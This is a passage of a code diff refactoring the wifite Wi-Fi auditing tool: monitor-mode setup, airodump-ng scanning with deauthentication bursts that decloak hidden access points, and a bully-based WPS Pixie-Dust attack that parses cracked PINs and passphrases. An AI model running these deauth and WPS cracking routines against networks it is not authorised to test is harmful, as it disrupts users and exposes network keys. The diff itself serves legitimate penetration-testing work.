-        if len(mon_ifaces) == 0:
+        if len(monitor_interfaces) == 0:
             Color.pl("{R}failed{W}")
-            raise Exception("iwconfig does not see any interfaces in Mode:Monitor")
+            raise Exception("Cannot find any interfaces in Mode:Monitor")
 
         # Assert that the interface enabled by airmon-ng is in monitor mode
-        if mon_iface not in mon_ifaces:
+        if enabled_iface not in monitor_interfaces:
             Color.pl("{R}failed{W}")
-            raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface)
+            raise Exception("Cannot find %s with Mode:Monitor" % enabled_iface)
 
-        # No errors found; the device 'mon_iface' was put into MM.
-        Color.pl("{G}enabled {C}%s{W}" % mon_iface)
+        # No errors found; the device 'enabled_iface' was put into Mode:Monitor.
+        Color.pl("{G}enabled {C}%s{W}" % enabled_iface)
 
-        Configuration.interface = mon_iface
+        return enabled_iface
 
-        return mon_iface
+    @staticmethod
+    def _parse_airmon_start(airmon_output):
+        '''Find the interface put into monitor mode (if any)'''
+
+        # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
+        enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*')
+
+        for line in airmon_output.split('\n'):
+            matches = enabled_re.match(line)
+            if matches:
+                return matches.group(1)
+
+        return None
 
 
     @staticmethod
     def stop(iface):
         Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface)
-        (out,err) = Process.call('airmon-ng stop %s' % iface)
-        mon_iface = None
-        for line in out.split('\n'):
-            # aircrack-ng 1.2 rc2
-            if 'monitor mode' in line and 'disabled' in line and ' for ' in line:
-                mon_iface = line.split(' for ')[1]
-                if ']' in mon_iface:
-                    mon_iface = mon_iface.split(']')[1]
-                if ')' in mon_iface:
-                    mon_iface = mon_iface.split(')')[0]
-                break
 
-            # aircrack-ng 1.2 rc1
-            match = re.search('([a-zA-Z0-9]+).*\(removed\)', line)
-            if match:
-                mon_iface = match.groups()[0]
-                break
+        airmon_output = Process(['airmon-ng', 'stop', iface]).stdout()
 
-        if not mon_iface:
-            mon_iface = Airmon.stop_baddriver(iface)
+        (disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output)
 
-        if mon_iface:
-            Color.pl('{R}disabled %s{W}' % mon_iface)
+        if not disabled_iface and iface in Airmon.BAD_DRIVERS:
+            Color.p('{O}"bad driver" detected{W} ')
+            disabled_iface = Airmon.stop_bad_driver(iface)
+
+        if disabled_iface:
+            Color.pl('{G}disabled %s{W}' % disabled_iface)
         else:
             Color.pl('{O}could not disable on {R}%s{W}' % iface)
 
+        return (disabled_iface, enabled_iface)
+
 
     @staticmethod
-    def get_interfaces_in_monitor_mode():
-        '''
-            Uses 'iwconfig' to find all interfaces in monitor mode
-            Returns:
-                List of interface names that are in monitor mode
-        '''
-        interfaces = []
-        (out, err) = Process.call("iwconfig")
-        for line in out.split("\n"):
-            if len(line) == 0: continue
-            if line[0] != ' ':
-                iface = line.split(' ')[0]
-                if '\t' in iface:
-                    iface = iface.split('\t')[0]
-            if 'Mode:Monitor' in line and iface not in interfaces:
-                interfaces.append(iface)
-        return interfaces
+    def _parse_airmon_stop(airmon_output):
+        '''Find the interface taken out of into monitor mode (if any)'''
+
+        # airmon-ng 1.2rc2 output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
+        disabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?disabled for (?:\[\w+\])?(\w+)\)\s*')
+
+        # airmon-ng 1.2rc1 output: wlan0mon (removed)
+        removed_re = re.compile(r'([a-zA-Z0-9]+).*\(removed\)')
+
+        # Enabled interface: (mac80211 station mode vif enabled on [phy4]wlan0)
+        enabled_re = re.compile(r'\s*\(mac80211 station mode (?:vif )?enabled on (?:\[\w+\])?(\w+)\)\s*')
+
+        disabled_iface = None
+        enabled_iface = None
+        for line in airmon_output.split('\n'):
+            matches = disabled_re.match(line)
+            if matches:
+                disabled_iface = matches.group(1)
+
+            matches = removed_re.match(line)
+            if matches:
+                disabled_iface = matches.group(1)
+
+            matches = enabled_re.match(line)
+            if matches:
+                enabled_iface = matches.group(1)
+
+        return (disabled_iface, enabled_iface)
 
 
     @staticmethod
     def ask():
         '''
-            Asks user to define which wireless interface to use.
-            Does not ask if:
-                1. There is already an interface in monitor mode, or
-                2. There is only one wireles interface (automatically selected).
-            Puts selected device into Monitor Mode.
+        Asks user to define which wireless interface to use.
+        Does not ask if:
+            1. There is already an interface in monitor mode, or
+            2. There is only one wireless interface (automatically selected).
+        Puts selected device into Monitor Mode.
         '''
 
         Airmon.terminate_conflicting_processes()
 
         Color.pl('\n{+} looking for {C}wireless interfaces{W}')
-        mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
-        mon_count = len(mon_ifaces)
-        if mon_count == 1:
+        monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
+        if len(monitor_interfaces) == 1:
             # Assume we're using the device already in montior mode
-            iface = mon_ifaces[0]
-            Color.pl('{+} using interface {G}%s{W} which is already in monitor mode'
-                % iface);
+            iface = monitor_interfaces[0]
+            Color.pl('     using interface {G}%s{W} (already in monitor mode)' % iface);
+            Color.pl('     you can specify the wireless interface using {C}-i wlan0{W}')
             Airmon.base_interface = None
             return iface
 
@@ -237,63 +312,65 @@ class Airmon(object):
 
         iface = a.get(choice)
 
-        if a.get(choice).name in mon_ifaces:
-            Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
+        if a.get(choice).interface in monitor_interfaces:
+            Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface)
         else:
-            iface.name = Airmon.start(iface)
-        return iface.name
+            iface.interface = Airmon.start(iface)
+        return iface.interface
 
 
     @staticmethod
     def terminate_conflicting_processes():
         ''' Deletes conflicting processes reported by airmon-ng '''
 
-        '''
-        % airmon-ng check
+        airmon_output = Process(['airmon-ng', 'check']).stdout()
 
-        Found 3 processes that could cause trouble.
-        If airodump-ng, aireplay-ng or airtun-ng stops working after
-        a short period of time, you may want to kill (some of) them!
-        -e
-        PID Name
-        2272    dhclient
-        2293    NetworkManager
-        3302    wpa_supplicant
-        '''
+        # Conflicting process IDs and names
+        pid_pnames = []
 
-        out = Process(['airmon-ng', 'check']).stdout()
-        if 'processes that could cause trouble' not in out:
-            # No proceses to kill
+        # 2272    dhclient
+        # 2293    NetworkManager
+        pid_pname_re = re.compile(r'^\s*(\d+)\s*([a-zA-Z0-9_\-]+)\s*$')
+        for line in airmon_output.split('\n'):
+            match = pid_pname_re.match(line)
+            if match:
+                pid = match.group(1)
+                pname = match.group(2)
+                pid_pnames.append( (pid, pname) )
+
+        if len(pid_pnames) == 0:
             return
 
-        hit_pids = False
-        for line in out.split('\n'):
-            if re.search('^ *PID', line):
-                hit_pids = True
-                continue
-            if not hit_pids or line.strip() == '':
-                continue
-            match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line)
-            if match:
-                # Found process
-                pid = match.groups()[0]
-                pname = match.groups()[1]
-                if Configuration.kill_conflicting_processes:
-                    Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
-                    os.kill(int(pid), signal.SIGTERM)
-                    if pname == 'NetworkManager':
-                        Airmon.killed_network_manager= True
-                else:
-                    Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
-
         if not Configuration.kill_conflicting_processes:
-            Color.pl('{!} {O}if you have problems, try killing these processes ({R}kill -9 PID{O}){W}')
+            # Don't kill processes, warn user
+            names_and_pids = ', '.join([
+                '{R}%s{O} (PID {R}%s{O})' % (pname, pid)
+                for pid, pname in pid_pnames
+            ])
+            Color.pl('{!} {O}conflicting processes: %s' % names_and_pids)
+            Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
+            return
+
+        Color.pl('{!} {O}killing {R}%d {O}conflicting processes' % len(pid_pnames))
+        for pid, pname in pid_pnames:
+            if pname == 'NetworkManager' and Process.exists('service'):
+                Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})')
+                # Can't just pkill network manager; it's a service
+                Process(['service', 'network-manager', 'stop']).wait()
+                Airmon.killed_network_manager = True
+            else:
+                Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
+                try:
+                    os.kill(int(pid), signal.SIGTERM)
+                except:
+                    pass
+
 
     @staticmethod
     def put_interface_up(iface):
         Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface))
-        (out,err) = Process.call('ifconfig %s up' % (iface))
-        Color.pl(" {R}done{W}")
+        Ifconfig.up(iface)
+        Color.pl(" {G}done{W}")
 
     @staticmethod
     def start_network_manager():
@@ -332,4 +409,6 @@ class Airmon(object):
 if __name__ == '__main__':
     Airmon.terminate_conflicting_processes()
     iface = Airmon.ask()
-    Airmon.stop(iface)
+    (disabled_iface, enabled_iface) = Airmon.stop(iface)
+    print("Disabled:", disabled_iface)
+    print("Enabled:", enabled_iface)

wifite/tools/airodump.py

@@ -1,6 +1,7 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from .tshark import Tshark
 from .wash import Wash
 from ..util.process import Process
@@ -10,15 +11,16 @@ from ..model.client import Client
 
 import os, time
 
-class Airodump(object):
+class Airodump(Dependency):
     ''' Wrapper around airodump-ng program '''
+    dependency_required = True
+    dependency_name = 'airodump-ng'
+    dependency_url = 'https://www.aircrack-ng.org/install.html'
 
     def __init__(self, interface=None, channel=None, encryption=None,\
                        wps=False, target_bssid=None, output_file_prefix='airodump',\
-                       ivs_only=False, skip_wps=False):
-        '''
-            Sets up airodump arguments, doesn't start process yet
-        '''
+                       ivs_only=False, skip_wps=False, delete_existing_files=True):
+        '''Sets up airodump arguments, doesn't start process yet.'''
 
         Configuration.initialize()
 
@@ -45,17 +47,20 @@ class Airodump(object):
 
         # For tracking decloaked APs (previously were hidden)
         self.decloaking = False
-        self.decloaked_targets = []
+        self.decloaked_bssids = set()
         self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
 
+        self.delete_existing_files = delete_existing_files
+
 
     def __enter__(self):
         '''
-            Setting things up for this context.
-            Called at start of 'with Airodump(...) as x:'
-            Actually starts the airodump process.
+        Setting things up for this context.
+        Called at start of 'with Airodump(...) as x:'
+        Actually starts the airodump process.
         '''
-        self.delete_airodump_temp_files()
+        if self.delete_existing_files:
+            self.delete_airodump_temp_files(self.output_file_prefix)
 
         self.csv_file_prefix = Configuration.temp() + self.output_file_prefix
 
@@ -67,22 +72,15 @@ class Airodump(object):
             '-w', self.csv_file_prefix, # Output file prefix
             '--write-interval', '1' # Write every second
         ]
-        if self.channel:
-            command.extend(['-c', str(self.channel)])
-        elif self.five_ghz:
-            command.extend(['--band', 'a'])
+        if self.channel:    command.extend(['-c', str(self.channel)])
+        elif self.five_ghz: command.extend(['--band', 'a'])
 
-        if self.encryption:
-            command.extend(['--enc', self.encryption])
-        if self.wps:
-            command.extend(['--wps'])
-        if self.target_bssid:
-            command.extend(['--bssid', self.target_bssid])
+        if self.encryption:   command.extend(['--enc', self.encryption])
+        if self.wps:          command.extend(['--wps'])
+        if self.target_bssid: command.extend(['--bssid', self.target_bssid])
 
-        if self.ivs_only:
-            command.extend(['--output-format', 'ivs,csv'])
-        else:
-            command.extend(['--output-format', 'pcap,csv'])
+        if self.ivs_only: command.extend(['--output-format', 'ivs,csv'])
+        else:             command.extend(['--output-format', 'pcap,csv'])
 
         # Start the process
         self.pid = Process(command, devnull=True)
@@ -91,32 +89,41 @@ class Airodump(object):
 
     def __exit__(self, type, value, traceback):
         '''
-            Tearing things down since the context is being exited.
-            Called after 'with Airodump(...)' goes out of scope.
+        Tearing things down since the context is being exited.
+        Called after 'with Airodump(...)' goes out of scope.
         '''
         # Kill the process
         self.pid.interrupt()
 
-        # Delete temp files
-        self.delete_airodump_temp_files()
+        if self.delete_existing_files:
+            self.delete_airodump_temp_files(self.output_file_prefix)
 
 
     def find_files(self, endswith=None):
+        return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith)
+
+    @classmethod
+    def find_files_by_output_prefix(cls, output_file_prefix, endswith=None):
         ''' Finds all files in the temp directory that start with the output_file_prefix '''
         result = []
-        for fil in os.listdir(Configuration.temp()):
-            if fil.startswith(self.output_file_prefix):
-                if not endswith or fil.endswith(endswith):
-                    result.append(Configuration.temp() + fil)
+        temp = Configuration.temp()
+        for fil in os.listdir(temp):
+            if not fil.startswith(output_file_prefix):
+                continue
+
+            if endswith is None or fil.endswith(endswith):
+                result.append(os.path.join(temp, fil))
+
         return result
 
-    def delete_airodump_temp_files(self):
+    @classmethod
+    def delete_airodump_temp_files(cls, output_file_prefix):
         '''
-            Deletes airodump* files in the temp directory.
-            Also deletes replay_*.cap and *.xor files in pwd.
+        Deletes airodump* files in the temp directory.
+        Also deletes replay_*.cap and *.xor files in pwd.
         '''
         # Remove all temp files
-        for fil in self.find_files():
+        for fil in cls.find_files_by_output_prefix(output_file_prefix):
             os.remove(fil)
 
         # Remove .cap and .xor files from pwd
@@ -124,28 +131,36 @@ class Airodump(object):
             if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
                 os.remove(fil)
 
-    def get_targets(self, apply_filter=True):
+        # Remove replay/cap/xor files from temp
+        temp_dir = Configuration.temp()
+        for fil in os.listdir(temp_dir):
+            if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
+                os.remove(os.path.join(temp_dir, fil))
+
+    def get_targets(self, old_targets=[], apply_filter=True):
         ''' Parses airodump's CSV file, returns list of Targets '''
 
         # Find the .CSV file
         csv_filename = None
-        for fil in self.find_files(endswith='-01.csv'):
-            # Found the file
-            csv_filename = fil
+        for fil in self.find_files(endswith='.csv'):
+            csv_filename = fil  # Found the file
             break
-        if csv_filename is None or not os.path.exists(csv_filename):
-            # No file found
-            return self.targets
 
-        # Parse the .CSV file
+        if csv_filename is None or not os.path.exists(csv_filename):
+            return self.targets  # No file found
+
         targets = Airodump.get_targets_from_csv(csv_filename)
+        for old_target in old_targets:
+            for target in targets:
+                if old_target.bssid == target.bssid:
+                    target.wps = old_target.wps
 
         # Check targets for WPS
         if not self.skip_wps:
             capfile = csv_filename[:-3] + 'cap'
             try:
                 Tshark.check_for_wps_and_update_targets(capfile, targets)
-            except Exception as e:
+            except ValueError:
                 # No tshark, or it failed. Fall-back to wash
                 Wash.check_for_wps_and_update_targets(capfile, targets)
 
@@ -156,15 +171,16 @@ class Airodump(object):
         # Sort by power
         targets.sort(key=lambda x: x.power, reverse=True)
 
+        # Identify decloaked targets
         for old_target in self.targets:
             for new_target in targets:
-                if old_target.bssid != new_target.bssid: continue
+                if old_target.bssid != new_target.bssid:
+                    continue
+
                 if new_target.essid_known and not old_target.essid_known:
                     # We decloaked a target!
-                    self.decloaked_targets.append(new_target)
-
-        if self.pid.poll() is not None:
-            raise Exception('Airodump has stopped')
+                    new_target.decloaked = True
+                    self.decloaked_bssids.add(new_target.bssid)
 
         self.targets = targets
         self.deauth_hidden_targets()
@@ -174,18 +190,19 @@ class Airodump(object):
 
     @staticmethod
     def get_targets_from_csv(csv_filename):
-        '''
-            Returns list of Target objects parsed from CSV file
-        '''
+        '''Returns list of Target objects parsed from CSV file.'''
         targets = []
         import csv
-        with open(csv_filename, 'rb') as csvopen:
+        with open(csv_filename, 'r') as csvopen:
             lines = []
             for line in csvopen:
-                if type(line) is bytes: line = line.decode('utf-8')
                 line = line.replace('\0', '')
                 lines.append(line)
-            csv_reader = csv.reader(lines, delimiter=',')
+            csv_reader = csv.reader(lines,
+                    delimiter=',',
+                    quoting=csv.QUOTE_ALL,
+                    skipinitialspace=True,
+                    escapechar='\\')
 
             hit_clients = False
             for row in csv_reader:
@@ -237,6 +254,8 @@ class Airodump(object):
         result = []
         # Filter based on Encryption
         for target in targets:
+            if Configuration.clients_only and len(target.clients) == 0:
+                continue
             if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
                 result.append(target)
             elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
@@ -263,16 +282,16 @@ class Airodump(object):
 
     def deauth_hidden_targets(self):
         '''
-            Sends deauths (to broadcast and to each client) for all
-            targets (APs) that have unknown ESSIDs (hidden router names).
+        Sends deauths (to broadcast and to each client) for all
+        targets (APs) that have unknown ESSIDs (hidden router names).
         '''
         self.decloaking = False
 
-        # Do not deauth if requested
-        if Configuration.no_deauth: return
+        if Configuration.no_deauth:
+            return  # Do not deauth if requested
 
-        # Do not deauth if channel is not fixed.
-        if self.channel is None: return
+        if self.channel is None:
+            return  # Do not deauth if channel is not fixed.
 
         # Reusable deauth command
         deauth_cmd = [
@@ -281,22 +300,27 @@ class Airodump(object):
             str(Configuration.num_deauths), # Number of deauth packets to send
             '--ignore-negative-one'
         ]
+
         for target in self.targets:
-            if target.essid_known: continue
+            if target.essid_known:
+                continue
+
             now = int(time.time())
             secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
-            # Decloak every AP once every 30 seconds
-            if secs_since_decloak < 30: continue
+
+            if secs_since_decloak < 30:
+                continue  # Decloak every AP once every 30 seconds
+
             self.decloaking = True
             self.decloaked_times[target.bssid] = now
             if Configuration.verbose > 1:
                 from ..util.color import Color
-                verbout = " [?] Deauthing %s" % target.bssid
-                verbout += " (broadcast & %d clients)" % len(target.clients)
-                Color.pe("\n{C}" + verbout + "{W}")
+                Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients)))
+
             # Deauth broadcast
             iface = Configuration.interface
             Process(deauth_cmd + ['-a', target.bssid, iface])
+
             # Deauth clients
             for client in target.clients:
                 Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface])
@@ -315,4 +339,3 @@ if __name__ == '__main__':
             Color.pl('   {G}%s %s' % (str(idx).rjust(3), target.to_str()))
 
     Configuration.delete_temp()
-

wifite/tools/bully.py

@@ -1,9 +1,10 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
+from .airodump import Airodump
 from ..model.attack import Attack
 from ..model.wps_result import CrackResultWPS
-from ..tools.airodump import Airodump
 from ..util.color import Color
 from ..util.timer import Timer
 from ..util.process import Process
@@ -12,13 +13,17 @@ from ..config import Configuration
 import os, time, re
 from threading import Thread
 
-class Bully(Attack):
+class Bully(Attack, Dependency):
+    dependency_required = False
+    dependency_name = 'bully'
+    dependency_url = 'https://github.com/aanarchyy/bully'
+
     def __init__(self, target):
         super(Bully, self).__init__(target)
-        self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
-        self.pins_attempted = 0
+        self.total_timeouts = 0
+        self.total_failures = 0
+        self.locked = False
         self.state = "{O}Waiting for beacon{W}"
-        self.m_state = None
         self.start_time = time.time()
 
         self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
@@ -46,8 +51,6 @@ class Bully(Attack):
 
         self.bully_proc = None
 
-    def attack_type(self):
-        return "Pixie-Dust"
 
     def run(self):
         with Airodump(channel=self.target.channel,
@@ -55,11 +58,7 @@ class Bully(Attack):
                       skip_wps=True,
                       output_file_prefix='wps_pin') as airodump:
             # Wait for target
-            Color.clear_entire_line()
-            Color.pattack("WPS",
-                    self.target,
-                    self.attack_type(),
-                    "Waiting for target to appear...")
+            self.pattack("Waiting for target to appear...")
             self.target = self.wait_for_target(airodump)
 
             # Start bully
@@ -67,27 +66,42 @@ class Bully(Attack):
                 stderr=Process.devnull(),
                 bufsize=0,
                 cwd=Configuration.temp())
+
+            # Start bully status thread
             t = Thread(target=self.parse_line_thread)
             t.daemon = True
             t.start()
+
             try:
                 while self.bully_proc.poll() is None:
                     try:
                         self.target = self.wait_for_target(airodump)
                     except Exception as e:
-                        Color.clear_entire_line()
-                        Color.pattack("WPS",
-                                self.target,
-                                self.attack_type(),
-                                "{R}failed: {O}%s{W}" % e)
-                        Color.pl("")
+                        self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
                         self.stop()
                         break
-                    Color.clear_entire_line()
-                    Color.pattack("WPS",
-                            self.target,
-                            self.attack_type(),
-                            self.get_status())
+
+                    # Update status
+                    self.pattack(self.get_status())
+
+                    # Check if entire attack timed out.
+                    if self.running_time() > Configuration.wps_pixie_timeout:
+                        self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
+                        self.stop()
+                        return
+
+                    # Check if timeout threshold was breached
+                    if self.total_timeouts >= Configuration.wps_timeout_threshold:
+                        self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
+                        self.stop()
+                        return
+
+                    # Check if WPSFail threshold was breached
+                    if self.total_failures >= Configuration.wps_fail_threshold:
+                        self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
+                        self.stop()
+                        return
+
                     time.sleep(0.5)
             except KeyboardInterrupt as e:
                 self.stop()
@@ -97,111 +111,97 @@ class Bully(Attack):
                 raise e
 
         if self.crack_result is None:
-            Color.clear_entire_line()
-            Color.pattack("WPS",
-                    self.target,
-                    self.attack_type(),
-                    "{R}Failed{W}\n")
+            self.pattack("{R}Failed{W}", newline=True)
+
+
+    def pattack(self, message, newline=False):
+        # Print message with attack information.
+        time_left = Configuration.wps_pixie_timeout - self.running_time()
+
+        Color.clear_entire_line()
+        Color.pattack("WPS",
+                self.target,
+                'Pixie-Dust',
+                '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
+        if newline:
+            Color.pl("")
+
 
     def running_time(self):
         return int(time.time() - self.start_time)
 
+
     def get_status(self):
-        result = self.state
-        result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
-        result += " {G}tries:%d{W}" % self.pins_attempted
-        result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
-        result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
-        result += ")"
-        return result
+        main_status = self.state
+
+        meta_statuses = []
+        if self.total_timeouts > 0:
+            meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
+
+        if self.total_failures > 0:
+            meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures)
+
+        if self.locked:
+            meta_statuses.append("{R}Locked{W}")
+
+        if len(meta_statuses) > 0:
+            main_status += ' (%s)' % ', '.join(meta_statuses)
+
+        return main_status
+
 
     def parse_line_thread(self):
         for line in iter(self.bully_proc.pid.stdout.readline, b""):
             if line == "": continue
             line = line.replace("\r", "").replace("\n", "").strip()
-            if self.parse_line(line): break # Cracked
 
-    def parse_line(self, line):
-        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
-        got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
-        if got_beacon:
-            # group(1)=ESSID, group(2)=BSSID
-            self.state = "Got beacon"
+            if Configuration.verbose > 1:
+                Color.pe('\n{P} [bully:stdout] %s' % line)
+                
+            self.state = self.parse_state(line)
 
-        # [+] Last State = 'NoAssoc'   Next pin '48855501'
-        last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
-        if last_state:
-            # group(1)=result, group(2)=PIN
-            result = "Start" # last_state.group(1)
-            pin = last_state.group(2)
-            self.state = "Trying PIN:{C}%s{W}" % pin
+            self.crack_result = self.parse_crack_result(line)
 
-        # [+] Rx(  M5  ) = 'Pin1Bad'   Next pin '35565505'
-        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
-        rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
-        if rx_m:
-            # group(1)=M3/M5, group(2)=result, group(3)=PIN
-            self.m_state = rx_m.group(1)
-            result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
-            if result in ["Pin1Bad", "Pin2Bad"]:
-                self.pins_attempted += 1
-                self.consecutive_lockouts = 0 # Reset lockout count
-                self.consecutive_timeouts = 0 # Reset timeout count
-                self.consecutive_noassoc = 0 # Reset timeout count
-                result = "{G}%s{W}" % result
-            elif result == "Timeout":
-                self.consecutive_timeouts += 1
-                result = "{O}%s{W}" % result
-            elif result == "NoAssoc":
-                self.consecutive_noassoc += 1
-                result = "{O}%s{W}" % result
-            else:
-                result = "{R}%s{W}" % result
-            pin = rx_m.group(3)
-            self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
-
-        # [!] WPS lockout reported, sleeping for 43 seconds ...
-        lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
-        if lock_out:
-            sleeping = lock_out.group(1)
-            self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
-            self.consecutive_lockouts += 1
-
-        # [Pixie-Dust] WPS pin not found
-        pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
-        if pixie_re:
-            self.state = "{R}Failed{W}"
+            if self.crack_result:
+                break
 
 
-        # [+] Running pixiewps with the information, wait ...
-        pixie_re = re.search(r".*Running pixiewps with the information", line)
-        if pixie_re:
-            self.state = "{G}Running pixiewps...{W}"
-
+    def parse_crack_result(self, line):
+        # Check for line containing PIN and PSK
         # [*] Pin is '80246213', key is 'password'
-        # [*] Pin is '11867722', key is '9a6f7997'
         pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
         if pin_key_re:
             self.cracked_pin = pin_key_re.group(1)
             self.cracked_key = pin_key_re.group(2)
 
-        #        PIN   : '80246213'
-        pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
-        if pin_re:
-            self.cracked_pin = pin_re.group(1)
+        ###############
+        # Check for PIN
+        if self.cracked_pin is None:
+            #        PIN   : '80246213'
+            pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
+            if pin_re:
+                self.cracked_pin = pin_re.group(1)
 
+            # [Pixie-Dust] PIN FOUND: 01030365
+            pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line)
+            if pin_re:
+                self.cracked_pin = pin_re.group(1)
+
+            if self.cracked_pin is not None:
+                # Mention the PIN & that we're not done yet.
+                self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True)
+
+                self.state = "{G}Finding PSK...{C}"
+                time.sleep(2)
+
+        ###########################
         #        KEY   : 'password'
         key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
         if key_re:
             self.cracked_key = key_re.group(1)
 
-        #warn_re = re.search(r"\[\!\]\s*(.*)$", line)
-        #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
-
         if not self.crack_result and self.cracked_pin and self.cracked_key:
-            Color.clear_entire_line()
-            Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
-            Color.pl("")
+            self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True)
             self.crack_result = CrackResultWPS(
                     self.target.bssid,
                     self.target.essid,
@@ -209,19 +209,81 @@ class Bully(Attack):
                     self.cracked_key)
             Color.pl("")
             self.crack_result.dump()
-            return True
-        else:
-            return False
+
+        return self.crack_result
+
+
+    def parse_state(self, line):
+        state = self.state
+
+        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
+        got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
+        if got_beacon:
+            # group(1)=ESSID, group(2)=BSSID
+            state = "Got beacon"
+
+        # [+] Last State = 'NoAssoc'   Next pin '48855501'
+        last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
+        if last_state:
+            # group(1)=result, group(2)=PIN
+            pin = last_state.group(2)
+            state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1))
+
+        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
+        mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
+        if mx_result_pin:
+            self.locked = False
+            # group(1)=M3/M5, group(2)=result, group(3)=PIN
+            m_state = mx_result_pin.group(1)
+            result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
+            pin = mx_result_pin.group(3)
+
+            if result == "Timeout":
+                self.total_timeouts += 1
+                result = "{O}%s{W}" % result
+            elif result == "WPSFail":
+                self.total_failures += 1
+                result = "{O}%s{W}" % result
+            elif result == "NoAssoc":
+                result = "{O}%s{W}" % result
+            else:
+                result = "{R}%s{W}" % result
+
+            result = "{P}%s{W}:%s" % (m_state.strip(), result.strip())
+            state = "Trying PIN {C}%s{W} (%s)" % (pin, result)
+
+        # [!] WPS lockout reported, sleeping for 43 seconds ...
+        re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
+        if re_lockout:
+            self.locked = True
+            sleeping = re_lockout.group(1)
+            state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
+
+        # [Pixie-Dust] WPS pin not found
+        re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
+        if re_pin_not_found:
+            state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}"
+
+        # [+] Running pixiewps with the information, wait ...
+        re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
+        if re_running_pixiewps:
+            state = "{G}Running pixiewps...{W}"
+
+        return state
+
 
     def stop(self):
         if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
             self.pid.interrupt()
 
+
     def __del__(self):
         self.stop()
 
+
     @staticmethod
     def get_psk_from_pin(target, pin):
